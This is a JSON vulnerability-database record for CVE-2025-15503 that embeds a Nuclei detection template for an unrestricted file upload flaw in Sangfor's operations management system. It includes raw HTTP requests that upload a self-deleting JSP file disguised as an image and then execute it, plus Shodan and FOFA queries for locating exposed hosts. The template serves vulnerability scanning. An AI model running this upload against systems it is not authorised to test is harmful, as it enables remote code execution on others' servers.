{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-15503/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-15503/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-15503/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-15503/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-15503/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-15503"},"sightings":{"href":"/api/v1/sightings/cve-2025-15503"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-15503.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-15503\n\ninfo:\n  name: Sangfor OSM - Arbitrary File Upload\n  author: Ark\n  severity: critical\n  description: |\n    Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \\\"File\\\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.\n  impact: |\n    Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-15503\n    - https://github.com/advisories/GHSA-h49h-jpp7-xv85\n  classification:\n    cve-id: CVE-2025-15503\n    epss-score: 0.02066\n    epss-percentile: 0.80573\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: html:\"/fort/login\"\n    fofa-query: body=\"/fort/login\" && product=\"SANGFOR-运维安全管理系统\"\n  tags: cve,cve2025,sangfor,osm,rce,fileupload,intrusive,vkev\n\nvariables:\n  randnum: \"{{rand_int(100000000, 999999999)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /fort/trust/version/common/common.jsp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\n\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\n        Content-Type: image/png\n\n        <%@page import=\"java.security.MessageDigest,java.math.BigInteger\"%><%MessageDigest md=MessageDigest.getInstance(\"MD5\");md.update(\"{{randnum}}\".getBytes());out.print(new BigInteger(1,md.digest()).toString(16));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\n        ------WebKitFormBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Upload success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /fort/trust/version/common/{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, md5(to_string(randnum)))'\n        condition: and\n# digest: 490a0046304402207b79abdd0e325ee917e33182416900ec99cac88387c47f2ee1754eb04ba31c3702201fda7c86faa1ca4afb5fbc0d71473f4088aaf7210d53e7fcf23d31785de069bc:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-15503"}